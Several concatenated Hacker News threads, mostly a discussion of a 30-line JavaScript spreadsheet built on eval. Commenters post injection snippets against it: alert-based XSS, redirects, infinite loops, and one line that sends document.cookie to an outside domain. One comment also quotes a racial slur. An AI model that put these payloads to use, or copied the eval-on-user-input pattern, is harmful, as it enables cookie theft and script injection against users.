======
zoba
Hey Daniel: Looks pretty cool, and like something I'd want to listen to. Only
thing is: I have no idea what the content will be like. It'd be good to have a
summary of discussion before I dive into 70 minutes of listening.
I like listening to Keith, but the bit about discussing "strange thoughts"
made me unsure of what the content would be like.
~~~
dcre
I agree, but listening to the first 5 minutes is obviously a fine way of
previewing the content without listening to the whole thing.
------
hoggle
Just wanted to subscribe via iOS Podcasts app, didn't find it in the iTunes
store. I fear that in this case it might as well not exist for a lot of
people.
~~~
danielzarick
It just approved by iTunes actually! The email came from Apple just after you
posted this. [https://itunes.apple.com/us/podcast/strange-
beings/id9066020...](https://itunes.apple.com/us/podcast/strange-
beings/id906602004)
| {
"pile_set_name": "HackerNews"
} |
"rent an expert" with AirPair - logicalcat
Running a single-person startup is challenging. Learning new technologies by the usual methods (going to meetups, working through tutorials, etc.) are great for general, high-level knowledge, but not particularly good when you need advice about specifics. Finding an expert to discuss best-practices and implementation details is the fastest, most efficient way to get started and avoid costly dead-ends. You know those experts exist, but how can you find them?<p>The answer: http://airpair.co/<p>Following a brief description of my project with AirPair, I was able to choose Peter Lyons (stackoverflow.com/users/266795/peter-lyons), a developer with great credentials and expertise that matched my goals. He was able to quickly translate the requirements from my existing Ruby project into a more streamlined iteration in Node.js. He patiently explained some arcane aspects of Node and cemented the abstract tutorials I had done to real-world examples. Peter followed up the sessions with outlines and code examples--I didn't expect that and really appreciate it now that I'm writing new code. Perhaps the most valuable result is that I now know that my project's overall re-design has been vetted by a professional.<p>And all of that happened in just three hours over two sessions.<p>You don't need AirPair if you are extremely well-connected and have lots of industry-leading professional friends who all owe you favors. For the rest of us, there's AirPair. I would highly recommend AirPair to anyone who needs to "rent" expertise, and I am definitely going to use it in the future.<p>Regards,<p>R. Bryan Hughes
www.logicalcat.com
======
nicolahery
Bryan:
Thanks for this post! I watched your first Google Hangout with Peter
(<http://www.youtube.com/watch?v=KPj_caLNkkY>) from beginning to end. Very
insightful :)
As a self-taught developer (Python, JavaScript), when I tackle bigger projects
I often find myself thinking "I'm doing this wrong" or "this architecture
doesn't feel right", followed by "I wish I had an experienced developer friend
I could talk to". Airpair could maybe make a good candidate for these types of
struggles.
I guess one question I couldn't find the answer to is, how much does this
cost, at least a price range ;) An expert's time is precious!
Will check out your second Google Hangout recording soon!
Cheers, Nicolas
~~~
jkresner
Developers set their own rates. Right we are doing intro calls for as low as
$40 p.h.
------
pixeloution
I click "Find an expert" and get some odd google drive error
You need permission to access this item.
You are signed in as [ xxx@custom-domain.com ], but you don't have permission
to access this item. You can request access from the owner or choose a
different account. Learn more
~~~
jkresner
mvp - Fixed :)
| {
"pile_set_name": "HackerNews"
} |
Conquering the Command Line - Free eBook - metacasts
http://conqueringthecommandline.com/book
======
markbates
Learn to master and conquer the most valuable and useful command line tools
for Unix and Linux based systems. In this book you will find not only the most
useful command line tools you need to know, but also the most helpful options
and flags for those tools. Conquering the Command Line isn't just a rehash of
the MAN page for these tools, but rather a human-readable walk-through of
these tools to make you instantly more productive in your daily development
life.
~~~
allanmacgregor
Mark, on the title it says Free ebook however going to the site there is no
option for getting the book for free?
~~~
markbates
That link should take you right to the page to start reading it online. If not
there should be a big Read Online button that takes. You to that page. I'll
pass the feedback on to Softcover that it's not more obvious.
~~~
adrow
I would say that reading for free online is different from offering a free
eBook as the title indicates. 'Free online HTML book' would seem like a better
description to me if that's the case.
~~~
markbates
That's certainly more descriptive. I always think of those as eBooks though.
In my mind I don't really see there being a difference. HTML is one, of many,
eBook formats.
~~~
adrow
The main difference for me would be that I'd consider an eBook to be something
I can download (epub, mobi, pdf etc...) and read on my Kobo offline. Can't see
how I could easily do that with the online HTML version.
As a comparison, I found this on Skimfeed today:
[http://www.makeuseof.com/pages/guide-to-kde-the-other-
linux-...](http://www.makeuseof.com/pages/guide-to-kde-the-other-linux-
desktop)
------
juanre
Those of you wanting to learn (or teach) these tools might find useful what I
wrote to help my kids learn (sorry for the self-promotion, but I think it's
relevant to the topic at hand). I tried to make it learn-by-doing and, most
important, to help them figure out how to learn more by themselves. The basic
shell is here,
[http://juanreyero.com/ways-hackers/terminal.html](http://juanreyero.com/ways-
hackers/terminal.html)
The following two chapters, also online in full, are about more Unix tools,
and Emacs/Vi.
------
fourgone
Thank you! Everyone remember to click Read Online if you want to read for
free, and Buy Now if you'd like to download PDF, MOBI, ePub, and HTML. Mark is
well worth supporting.
------
dragon1st
Free preview, you meant?
~~~
markbates
No, you can read the whole thing online. The link takes you to where you can
read the whole book for free.
~~~
dragon1st
Oh ok, didn't notice that, thanks much!
| {
"pile_set_name": "HackerNews"
} |
LibreOffice progress to 4.2.0 - bkor
http://www.gnome.org/~michael/blog/2014-01-30-under-the-hood.html
======
cpncrunch
Looks like a lot of effort has been put into this release, especially under
the hood. I switched from OpenOffice to LibreOffice recently due to much
improved docx import in LibreOffice, and I see that the 4.2 release adds
further bugfixes to docx import. It looks like OpenOffice have really dropped
the ball on this...docx (and other MS Office import) is really important to
anyone who sends and receives documents from the outside world.
| {
"pile_set_name": "HackerNews"
} |
AIDungeon, a deep learning generated text adventure (browser playable) - nickwalton00
http://aidungeon.io
======
beanland
I just jumped down a pit full of men's panties while wearing a maid's outfit.
Not sure where exactly this is going, but nice work!
~~~
nickwalton00
Thanks haha! It's sometimes incoherent, but it's fun!
------
nickwalton00
AI Dungeon is an AI generated text adventure that uses deep learning to create
each adventure. It uses OpenAI's new GPT-2 model, which has 117 million
parameters, to generate each story block and possible action. I started making
it as a hackathon project and decided to make it a web app so people can have
fun with it. Let me know what you think.
~~~
ArtWomb
Keep going! Has potential ;)
~~~
nickwalton00
Thanks!
| {
"pile_set_name": "HackerNews"
} |
A spreadsheet in fewer than 30 lines of JavaScript, no library used - ondras
http://jsfiddle.net/ondras/hYfN3/
======
lifeisstillgood
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines
of code, with references fully working (ie =A3+B4 gives expected output. As
does =alert("foo") but then nothing is perfect).
I think it says something about the browser as a platform - these thirty lines
simply assume an enormous amount that excel and visicalc could not - visicalc
had to write their own screen refresh routines.
It is useful sometimes to reflect on what has evolved so far - and wonder
where we should be taking things. What is it now that is the equivalent of
writing our own screen handling routines? Location? Distributed computation or
storage?
~~~
thatthatis
A 30 line javascript spreadsheet is similar for me to when I first saw
Norvig's 21 line python spelling corrector ([http://norvig.com/spell-
correct.html](http://norvig.com/spell-correct.html)): this language is more
powerful and expressive than I thought.
I'm increasingly believing that HTML/CSS/JS in a browser is a viable common
runtime. This demo does quite a lot to solidify that belief.
~~~
stiff
The only things that are powerful and expressive in JavaScript are bastardized
beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get
those dynamic mechanisms that we know for 50 years now (lambda expressions and
runtime method dispatch, oh wow) to be useful but without learning any lessons
learned in those 50 years about how to design a coherent language based on
those concepts, you just get a hodgepodge of language constructs that don't
add up together to form a useful toolkit. It might look nice in a 30 line
program where you don't care about performance, code readability (and boy does
this code look ugly) and bugs and maintenance costs.
Ruby or Smalltalk have an object system for doing those kinds of things that
was actually designed and not evolved by committees and corporations, so that
your meta-programming doesn't have to always be only eval and .bind in various
incarnations (unsafe, inconvenient and slow). I can't imagine how this thing
here that makes evaluating "A1" perform a function call fits into the rest of
JavaScript and why the hall was it even introduced:
[https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Refe...](https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty)
Not to mention the "with" usage on which this hack is based is actively
discouraged by everyone using JavaScript as it basically mixes in the object
into the current scope. In a sane language, you do .instance_eval, and you
_narrow_ the scope to whatever the object contains.
I congratulate the author of this code as much as everyone for finding an
unexpected and very creative use for those features, but this doesn't make
them great.
~~~
lelandbatey
I agree, saying "Wow, this is a viable and useful language" because you can do
something in just a few highly unreadable lines seems... like a pretty odd
judgment.
It'd be a bit like saying that C is a great language because someone wrote a
raytracer that fits on a business card[0] using it.
[0]
[http://fabiensanglard.net/rayTracing_back_of_business_card/](http://fabiensanglard.net/rayTracing_back_of_business_card/)
~~~
chc
This code is fairly readable. It takes one or two shortcuts, but it's much
closer to real code than to golf.
------
tel
It's not really comparable, but minimalistic spreadsheet applications always
remind me of Dan Piponi's Haskell `loeb` function [0]---a "one-line"
"spreadsheet" "implementation".
The blog post is very interesting to read, but here's the meat. We're looking
for a function with type
loeb :: Functor f => f (f a -> a) -> f a
and without thinking about the meaning of it, we can implement it as
loeb x = fmap (\a -> a (loeb x)) x
which embodies a certain, strange kind of recursion. It turns out that it's
"spreadsheet recursion". We build a list of functions from lists of a to a
like
test :: [[Int] -> Int]
test = [ (!! 1), length, (!! 0) ] -- think [A1, length(A), A0]
then `loeb test` "completes" the list by applying the "result list" to each of
the functions of the source list.
loeb test == [3, 3, 3]
Laziness lets the recursion proceed despite "evaluating" the list from left to
right. Infinite loops still fail
loeb [(!! 0)] == [............ waiting
It's also interesting to think of how to do "spreadsheet recursion" on exotic
data types like trees.
data Binary a = Branch (Binary a) a (Binary a) | Tip
deriving (Show, Functor)
depth Tip = 0
depth (Branch l _ r) = succ (max (depth l) (depth r))
top default Tip = default
top _ (Branch _ a _) = a
> loeb (Branch Tip depth (Branch Tip (top 0) Tip))
Branch Tip 2 (Branch Tip 2 Tip)
[0] [http://blog.sigfpe.com/2006/11/from-l-theorem-to-
spreadsheet...](http://blog.sigfpe.com/2006/11/from-l-theorem-to-
spreadsheet.html)
~~~
tel
One more cool trick from the same article (slightly modified). It's a
factorial function computed on an "infinite spreadsheet". But how?
fact = loeb fact' where
fact' 0 _ = 1
fact' n f = n*f (n-1)
If we ask GHC for the type of `fact'` then we see that it is
Int -> ((Int -> Int) -> Int)
which we can interpret via the `Reader Int` monad as being
m (m Int -> Int)
-- for
m a = (Int -> a)
Now, `f :: (Int -> a)` as a functor is isomorphic to an infinite stream
map f [0, 1, ...]
if we ignore the negative numbers. So we can think of `fact'` as having the
type
Stream (Stream Int -> Int)
where each function in the stream takes its own index and multiplies it by the
value at the previous index.
Then `loeb` completes the computation using spreadsheet recursion.
~~~
tel
And because I just find this really fascinating, here's a more direct
implementation of `fact`
data Stream a = Stream a (Stream a)
deriving Functor
tabulate :: (Int -> a) -> Stream a
tabulate f = go 0 where
go n = Stream (f n) (go (succ n))
index :: Stream a -> (Int -> a)
index (Stream a _) 0 = a
index (Stream a st) n = index st (pred n)
-- btw: tabulate . index == id
-- and index . tabulate == id
fact :: Int -> Int
fact n = index (loeb facts) n where
facts :: Stream (Stream Int -> Int)
facts = tabulate $ \i stream -> i * index stream (i-1)
------
racbart
This is truly great as proof of concept and also as a reminder that in
software development building 80% of perceived* functionality usually takes
only tiny fraction of total development time which is required to build final
product.
* - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.
~~~
dictum
And 80% of perceived functionality is what most users — even people who rely
on spreadsheets for their work — need.
I'm not saying including the other 20% of functionality isn't a good thing to
do, but when you're creating a new product or open source project, you can get
by (and thrive) building only the 20% of functionality that's used 80% of the
time.
Why? Because 1% of functionality is still better than 0% (never shipping).
You're not Microsoft. You don't have to keep your dominance in the spreadsheet
software market like Microsoft has to.
~~~
sheetjs
The problem is that the total economic value (as measured by market price) for
the users who only use that 80% of perceived functionality is close to 0
(google docs and OO/LO are free)
The incredibly difficult 20% is what people pay for. It's what the businesses
that shell out billions of dollars a year pay for. And it's what a successful
product in the space needs to tackle
~~~
kbenson
On the other hand, you are taking what appears to be a general observation and
applying it to this specific instance. Sure, there are plenty of free
spreadsheets available. But what about other areas? There's plenty of areas
still where a well executed easy to use minimal version of a product can
compete in the existing for-pay ecosystem, and as we are discussing, minimal
can pay off since 20% of functionality may take 5% or less of the time it
would take to do 100%.
~~~
phillmv
Y'alls be talking about different things.
You're talking about "feature minimalism is a good design philosophy".
The other dudes are talking about "bridging the gap between a sweet demo and a
final product is a tremendous assload of work".
~~~
kbenson
No, I'm specifically just saying that not everyone's "final product" is the
same thing, and depending on the target market and audience, a minimal product
may be worthwhile, and the economic value isn't always "close to 0", as the
parent I replied to stated.
Also, I don't think that "feature minimalism is a good design philosophy" is
_always_ true, even though it may guide you well in most cases.
------
_sh
If anyone else is wondering why formula evaluation is not working in Chrome,
it is because jsfiddle is violating Chrome's security policy by serving up the
javascript from fiddle.jshell.net (not jsfiddle.net).
When this javascript code attempts to access the LocalStorage API, Chrome
(rightfully) steps in and says: nope. This may be a new security feature, but
is present in Chrome 30.0.1599.114 on Fedora.
------
rattray
Are there any more full-featured libraries that people use for this?
I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but
none seem like thriving open-source projects as far as I can tell.
[0]
[http://wijmo.com/demo/spreadjs/samples/index.html](http://wijmo.com/demo/spreadjs/samples/index.html)
[1] [http://www.gelsheet.org/demo](http://www.gelsheet.org/demo)
[2] [http://visop-dev.com/Project+jQuery.sheet](http://visop-
dev.com/Project+jQuery.sheet)
[3]
[http://www.zkoss.org/product/zkspreadsheet](http://www.zkoss.org/product/zkspreadsheet)
~~~
thematt
I'd really love to see one that supports a hierarchy of JSON data, such as a
treegrid.
~~~
r00fus
Can you explain how such a tree would map inside a graph? I can't think of an
obvious use case.
~~~
thematt
The use case is something like this: [http://ludo.cubicphuse.nl/jquery-
treetable/](http://ludo.cubicphuse.nl/jquery-treetable/)
It would be nice if something like that existed, but with much richer features
like the libraries above.
~~~
r00fus
IIRC, both datatables [1] and JQGrid [2] do this, right?
[1] [http://datatables.net/](http://datatables.net/)
[2][http://trirand.com/blog/jqgrid/jqgrid.html](http://trirand.com/blog/jqgrid/jqgrid.html)
------
uniclaude
Wow, was this made by the same ondras who made wwwsqldesigner? This guy got me
into Javascript a couple years ago thanks to the source code of that tool, and
now it pays a good part of my bills. The tool himself helped me quite a bit
too. Awesome guy.
Nice hack, impressive!
~~~
agilebyte
Yes, it is the same Ondřej.
[http://ondras.zarovi.cz/#projects](http://ondras.zarovi.cz/#projects)
------
mistercow
This is very impressive. The use of "Object.defineProperty" and "with" to
handle formula evaluation is particularly clever.
------
Shish2k
Reminds me of this; a spreadsheet (with graphs :P) in 2KB of C
[http://www.ioccc.org/2000/jarijyrki.c](http://www.ioccc.org/2000/jarijyrki.c)
Explanation:
[http://www.ioccc.org/2000/jarijyrki.hint](http://www.ioccc.org/2000/jarijyrki.hint)
------
goshx
Awesome job! Very clever :)
After seeing it working and the few clever lines of code I was really
surprised. But then I though: oh, let me go back to HN and read the comments
from people saying "BUT IT DOESN'T HAVE CHARTS!!!" and unfortunately comments
like that are here. What is wrong with this poeple???
~~~
icoder
Apart from the fact that I think (as far as the comments that are on now) you
are exaggerating quite a bit with "BUT IT DOESN'T HAVE CHARTS!!!", I also
think there's no need to suggest that there's anything 'wrong' with those
people.
There's the downvote button if something is really not fruitful for discussion
(remember though discussion is - to a respectful extent - often enriched when
people differ in their views and opinions on a subject).
I don't see why every thread on HN needs a top level comment that meta-
discourages criticism.
~~~
goshx
I still don't have the down vote option :(
And the reason why I point these critics out is that they are simply not
reasonable if you know what is happening there. Perhaps having a top level
comment like this may actually encourage them to think twice or try to learn
before commenting?
But you know, maybe this is just a mirror to what happens almost daily in
companies where there are non-technical people making decisions. Imagine this
"excel-like app" being presented by the author to his boss, a non-technical
person, as something extra that he built and is all excited about. There is a
good chance that his boss will make the bad comments that it is lacking a lot
of features. That is probably why these people make such comments: they don't
have a clue of what is going on.
------
draegtun
Here are some links to Carl Sassenrath _World 's smallest spreadsheet_ program
he wrote back in 2001 using Rebol (under 100 lines):
* Announcement on Rebol mailing list - [http://www.rebol.org/ml-display-thread.r?m=rmlNHPK](http://www.rebol.org/ml-display-thread.r?m=rmlNHPK)
* Code (Rebol script library) - [http://www.rebol.org/view-script.r?script=rebocalc.r](http://www.rebol.org/view-script.r?script=rebocalc.r)
* Code (in Gist for nicer syntax highlighting) - [https://gist.github.com/draegtun/7454495](https://gist.github.com/draegtun/7454495)
* Recent blog post with screen image - [http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spr...](http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spreadsheet-program.html)
~~~
klausnrooster
Level in the header is beginner. In 2001. Download Rebol/View, the source in
the gist link. Run Rebol, click console. pwd, ls, cd to the place you put the
gist code. type "do %whateveryounamedthesource". Smaller than a browser i
would guess.
~~~
draegtun
_> Smaller than a browser i would guess_
You can amend _max-x_ & _max-y_ variables in the script to change spreadsheet
size to make bigger.
For others...
The Rebol 2 binaries to run this spreadsheet script can be found here -
[http://www.rebol.com/download-view.html](http://www.rebol.com/download-
view.html)
And from the shell/command line you can also run the script straight off the
internet like so:
./rebol http://www.rebol.org/download-a-script.r?script-name=rebocalc.r
The spreadsheet is simple to use (beginner level) but surprisingly very
powerful (Rebol types, expressions & functions are available).
------
bananashake
This works wonderfully.
Definitely the most punch I've seen per line of code.
You can use javascript functions in your excel formulas. In a 30 line of code
program this is a feature.
= alert("I love it.");
~~~
hamburglar
Definitely a cool hack, but I had to laugh out loud at "Excel-like syntax
(formulas start with "=")". Apparently the grammar for an "excel-like" syntax
is:
excel_like_expression ::= "=" javascript_expression
------
brador
Very cool and a great springboard for others to develop from.
Bug/feature: only uppercase works in formulas (A4 works but a4 does not).
~~~
ondras
Neat idea, lowercase fixed!
~~~
brador
Worth a line of code to add return key to move down a cell?
~~~
6ren
[http://jsfiddle.net/hYfN3/197/](http://jsfiddle.net/hYfN3/197/)
elm.onkeydown = function(evt) {
evt = evt || window.event;
var keyCode = evt.keyCode || evt.which;
if (keyCode == '13') {
var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
document.getElementById(nextid).focus();
}
};
_disclaimer: I don 't know JS_
------
kin
Just yesterday there was that Google email from 2010 talking about how JS can
not evolve any further. It made me feel a bit wasteful about my time spent
with the likes of node and angular.
Seeing things like this reminds me how much JS is capable of in today's
browsers and also shows me how much more I need to understand about the
language.
Awesome stuff.
~~~
mistercow
It's important to remember that when someone is justifying the existence of a
new project, claims like "<that technology> can't evolve to meet the needs of
<this technology>" are highly suspect.
------
codegeek
A reminder of why HN is awesome. Ya ya i know it is a clever little JS hack
and hardly an excel replacement but love the creativity of this.
------
habosa
Can someone help me understand how this works? Don't have deep JS knowledge
and I can't see what's going on with `DATA` and all that.
~~~
thewarrior
Well I'm a javascript noob myself but I'll try to explain. The clever thing is
how he used eval.
This is where the magic happens :
var getter = function() {
var value = localStorage[elm.id] || "";
if (value.charAt(0) == "=") {
with (DATA) return eval(value.substring(1));
} else { return isNaN(parseFloat(value)) ? value :
parseFloat(value); }
};
So if you entered "=A1 + A2" it would be evaluated as DATA[A1]+DATA[A2] . A1
and A2 get bound to DATA because of the preceding with statement.
Now the question is what happens when DATA[A1] is called. He used
Object.defineProperty to ensure that whenever you try to access a cell the
same method (which i just explained) gets called.
Object.defineProperty(DATA, elm.id, {get:getter});
This means add a property called elm.id to DATA and it's getter is the
function I just explained.
So whenever we try to acess DATA[something] it hooks into the same getter
method so a cell can depend on another cell which depends on another cell and
so on ..
Now you can see why this so clever. Because he used the inbuilt eval it can
evaluate any kind of formula involving multiplication , division or function
calls.
The only thing I dont understand is how circular references are prevented.
Like I said I'm not very familiar with JS so if anyone notices anything wrong
I'd like to know.
~~~
spion
Circular references are not really "prevented". Most browsers just
stackoverflow after a couple of thousand calls. The code below try/catches
that error and simply continues.
------
jasallen
Expressions did not evaluate for me. Reading the other comments I think I'm
the only one though :-(
~~~
spxdcz
They didn't work for me either - the attempt to access localStorage on my
latest Chrome/Mac throws a security error in the console for some reason (may
be a plugin/blocker). If you're getting the same, it seems to work in Safari
for me.
------
genericuser
For 30 lines of code it is indeed impressive.
But I think it would of been more impressive at 40 or whatever it would of
taken to have a couple error checks.
What I mean by this is if you enter an invalid formula say =() or =asdf in a
cell it breaks all the valid formulas you enter after that cell making them
display as text instead of a value when refreshed.
~~~
ondras
Added a trivial try-catch block so error in one cell does not prevent others
from evaluating. Line count unchanged :-)
------
kav-ya
I thought the spreadsheet was mad impressive and decided to take a shot at
making it massively multiplayer. Here's the fiddle:
[http://jsfiddle.net/sy85U/](http://jsfiddle.net/sy85U/)
~~~
brymaster
Warning: Don't click it. This fiddle spams infinite javascript alerts.
------
jcutrell
A dangerously awesome feature: eval means it probably would support anon
funcs.
~~~
__brian__
Yup:
=(function(){console.log("hehehe");})()
~~~
gberger
Don't need to go that far:
=alert("hehehe")
------
antidaily
Ok, but where do I sign in with my Windows Live account?
------
xradionut
Just waiting for the other 20,000 Excel features to be added. :)
This may sound like an inane comment, but trying working along Excel power
users for the past two decades. Most people have no idea of the crazy, huge,
complicated environment that is Excel.
~~~
timje1
Around my parts of the woods, people are very wary of putting an editable grid
into a web-page.. because over years of maintenance, all editable grids tend
towards excel, and excel has an infinite list of features for clients to
request.
------
jokeofweek
The fact that you can put Javascript code which interacts with the cells is
awesome.
For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i"
in A2 to get the sum from 0 to 10. I really like this.
~~~
nmat
You may like, but it is an obvious security flaw. A 'real' product couldn't
have this feature, at least not the way it is implemented here.
~~~
genericacct
Please elaborate. ( i ask because i am writing a spreadsheet where every cell
can be JSON or a JS expression )
What sort of vulnerabilities does this expose, besides letting the user shoot
their feet repeatedly? Cross site scripting?
~~~
araskoktas
document.write('<img src="somedomain.com/?'+document.cookie);
~~~
cosarara97
But you'd need to send a spreadsheet with that to the victim.
~~~
araskoktas
Well yes, the idea is the sheet being open to a group of people for
collaboration or whatever reason.
------
yiransheng
Really clever hack. Also looked around the original Angular spreadsheet the
author offered as a inspiration, the 'hacky' components boiled down to this
too parts:
1\. Data binding.
Angular: ng-model, ng-controller, relying on Angular's magical $scope
This: custom defined object getter, essentially making the data resides in the
DOM input elements (while keeping a copy in localStorage)
2\. Expression evaluation
Angular: $parse service
This: 'with' and 'eval' in the same line. Despite its double 'evilness', this
is really clever.
------
xa99978
I used fair amount of excel that is the reason why I am commenting. Just
because you can enter some numbers in cell you cannot call it a spreadsheet.
The main problem I see in your spreadsheet is the data entry. After you enter
something you have to hit tab. no other key works. The main feature for any
spreadsheet should be ease of data entry. Also other feature should be
selecting the cell with mouse (instead of entering A1 I should be able to
select A1)
------
edwinvlieg
Just like Excel, this version allows you to program almost anything inside a
cell. Try inserting =alert("foobar") in a cell :)
------
jayferd
=parent.location='[http://www.google.com/'](http://www.google.com/')
hey look, a page redirect :D
------
dakridge
Just curious - shouldn't the events be attached to the parent table and
delegated to the children inputs so you are not attaching the focus and blur
events to each individual input? Similar to something like this:
[http://jsfiddle.net/W3Stf/](http://jsfiddle.net/W3Stf/)
~~~
ondras
That is a cool improvement. The "focus" and "blur" events do not bubble, so I
initially tried to evade event delegation - with respect to legacy event
handling (attachEvent) that does not support the capture phase you used.
------
benhoyt
Neat! Not quite the same thing, but see also this 9-line "spreadsheet" written
in Python by Raymond Hettinger:
[http://code.activestate.com/recipes/355045-spreadsheet/](http://code.activestate.com/recipes/355045-spreadsheet/)
~~~
draegtun
Very neat.
Thought I'd have a crack at doing something similar in Rebol. Here's my
attempt:
Rebol []
; Here's the beef!... the spreadsheet object
spreadsheet: context [
update: func [block /local b] [
b: compose/deep block
bind b self ; so action happens in object context
do b
]
]
; make sheet with following cells
ss: make spreadsheet [
a1: 5
a2: does [a1 * 6]
a3: does [a2 * 7]
]
; simple usage example
print ss/a3 ; => 210
ss/a1: 6
print ss/a3 ; => 252
; use /update method to keep it within the objects context (needed for DOES)
ss/update [a3: does [a1 + a2]]
print ss/a3 ; => 42
; and compose in variables from current context, see (a1)
a1: 1000
ss/update [a3: does [a1 + (a1)]]
print ss/a3 ; => 1006
You could probably do something very similar in other prototype based object
languages.
------
robomartin
What concerns me about developing browser applications is the idea that there
are precious few ways to protect your code. I know we all love open source,
but sometimes you want or need just the opposite. Not sure there's a way to
truly achieve that with JS (limitations or not).
------
ChrisCinelli
I am impressed with it. However the biggest complexity in a real spreadsheet
is the implementation of a correct evaluation of the graph of dependencies.
This evaluate sequentially and if you have a cell with a formula that use
following cells, it is not going to work :-/
------
EGreg
This shows how far we've gone where we can write this kind of stuff easily.
However we have a long way to go. This would be nice for a start:
[http://vimeo.com/36579366](http://vimeo.com/36579366)
------
jfasi
Bug reporting: entering "1 + 1" causes the cell to display "1"
------
geuis
Bug report: In Chrome Version 30.0.1599.101, an error is generated that
prevents the app from running: "Uncaught SecurityError: An attempt was made to
break through the security policy of the user agent. "
Works in Safari 7.
------
nilliams
Obligatory CoffeeScript version:
[http://jsfiddle.net/hYfN3/759/](http://jsfiddle.net/hYfN3/759/)
(Uses a regexp instead of `with` statement as CoffeeScript forbids with).
------
j-hernandez
Aside from losing input when tabbing out, works a treat in Opera. Can think of
a couple of places that a fork of this might come in handy in my work this
week. Clever, thanks for sharing
~~~
untothebreach
it does a parseFloat() on the input, so input that can't be coerced into a
float gets turned into NaN and not displayed.
~~~
j-hernandez
Makes sense, hadn't even looked that closely at the code before I commented -
all 30 lines of it, ha. Shame on me.
~~~
untothebreach
Looks like that particular problem has been fixed.
------
monokrome
This is all fine and dandy until someone decides to exploit your use of eval:
=document.location='[http://facebook.com/'](http://facebook.com/')
------
yurikoval
Microsoft's business clientele success summarised in 30 lines of javascript.
This is a really neat hack. Maybe Google will sample it to improve their
spreadsheet performance.
------
moron4hire
Oh wow, adding functions is pretty straightforward:
[http://jsfiddle.net/hYfN3/315/](http://jsfiddle.net/hYfN3/315/)
------
solox3
First thing I tried was "=alert()". While it worked, its tendency to block,
recalculate, _and_ persist with localStorage made it a bad idea, personally.
~~~
egeozcan
btw, do not use location.reload or you get a reload loop until manually
deleting the entry in local storage
------
buro9
1\. Take user generated content
2\. eval()
3\. ???
4\. PROFIT! (for the person who stole data/identity, etc)
~~~
chc
I'm not sure it's possible to steal your own identity.
~~~
buro9
I'd place a bet that someone will copy that code without understanding the
risks involved, and then will hack together the ability to load and save data,
and then complete the puzzle by enabling you to share it.
Voila.
People copy code, the defaults should be safer. I know that wouldn't make it
so elegant as it wouldn't fit in so few lines, but that's how you educate
others on the risks and how to deal with those risks.
~~~
chc
> _I 'd place a bet that someone will copy that code without understanding the
> risks involved, and then will hack together the ability to load and save
> data, and then complete the puzzle by enabling you to share it._
I'd place a bet that if this did happen, it would not be on a site that stores
sensitive information. And even in the ridiculously unlikely case that it did,
I would still not blame that on the Fiddle. This code is perfectly safe in the
situation it's used in. The idea that minimal demos must cover every
conceivable situation just seems really weird to me. Most places don't even
generally require real production code to deal with out-of-scope situations.
(For example, most Rails apps do not include code deal with the possibility
that application_controller.rb has been replaced with malicious code even
though that is a huge vulnerability if the Internet has write access to
application_controller.rb. They rely on external measures to ensure that
situation doesn't arise.)
> _People copy code, the defaults should be safer._
There is no safer default to use here AFAIK.
------
ubersoldat2k7
Oh well, didn't expect it to work but I had to try it:
0.1 + 0.2 = 0.30000000000000004
Awesome work either way. Would be nice to know how many lines of code Lotus
1-2-3 had.
~~~
monokrome
Number of lines of code in Lotus is unrelated for many reasons which I hope
are obvious.
------
thestarswheeled
It's nice to read and understand some javascript which doesn't involve a 3
hour youtube session on the latest framework. Cheers.
------
thewarrior
How does the circular reference prevention work ?
~~~
wpears
The getter is wrapped in a try/catch, so the circular reference hits the max
call stack size and errors out silently.
~~~
vinayan3
Terribly efficient.
------
tehwalrus
This + TideSDK for cross platform deployment (or just delivery in a browser,
if you're happy with the insecurity) = Awesome.
------
MrBra
30 lines of JS + 14 lines of HTML + 45 lines of CSS + 5,000,791 lines of
browser rendering engine (WebKit in this case).
------
genericacct
I am impressed, congrats. Next time some C++head jokes about JS I'll show them
this (and some linux emulators)
------
headgasket
Impressive. This shows how anything that can be written in Javascript will be
written; and what cannot UX wise?
------
oakaz
Then check this out: www.editgrid.com/untitled
It was built on 2005, with real-time collaboration, no library used.
------
stevoski
It doesn't have pivot tables; therefore I don't see this as a viable
replacement for Excel.
------
Deestan
Interesting how it handles cyclic references only if the chrome dev console is
not opened.
------
RokStdy
Fantastic! I'm trying to get stronger with my JS and this is really an
inspiration.
------
WetTowel
Doing this makes it a lot less useable. =document.location="test"
------
dscrd
orgmode's org-table.el is about 5k lines, including comments, and I never felt
it lacked any features. It uses other libraries of course, and is rather dense
lisp code.
------
ruttiger
WHAT IS THIS MAGIC?
------
snapoutofit
This is really neat! Will play around.
------
rberdeen
Crash it with
=DATA[$.id]
------
kybernetikos
How does jquery count as 'no library used'?
EDIT: I get it guys - I complained without reading carefully, sorry...
~~~
ondras
"$" replaced with "elm" to cause less confusion.
~~~
kybernetikos
I apologise for my confusion and retract my moan.
I'm afraid I suffered from commenting without reading properly. In my defence,
seeing $ signs everywhere shuts down the careful part of my brain.
------
Gepser
Nice, thanks for sharing
------
nyan_sandwich
Some has scripted it to alternate between "Seriously though..." and "NIGGER"
How nice.
------
Ricter
Input '=alert(/XSS/)'.. eval() is not a good choice.
------
vargalas
That's cool!
------
known
Brilliant hack.
------
alpha_24
remove this urgently it has been hacked.
------
larvaetron
=while(true){}
------
antonwinter
next challenge, Word in 30 lines
~~~
jdude104
How about one line? <title>Notepad</title><body contenteditable style="font-
size:3rem;line-height:1.4;max-width:60rem;margin:0 auto;padding:4rem;">
------
snambi
Just awesome
------
piyush_soni
Awesome! :)
------
st0neage
=alert("XSS")
~~~
yurikoval
=alert("No protection in 30 lines of code.")
------
westwin
very nice.
------
Eleutheria
Ondřej Žára. I've seen that name before. Hmm. The guy behind a server side
implementation of Javascript. I loved that concept and I still believe it has
a huge potential.
Kudos.
------
dschiptsov
Why, where are tons of cool Clojurescript with core.async?)
------
runn1ng
=while(1) {alert("BOO")}
HAHAHA I BROKED IT
------
mariusmg
Probably the most misleading article name in the history.....
~~~
reustle
How so? Even some formulas work!
------
rcirka
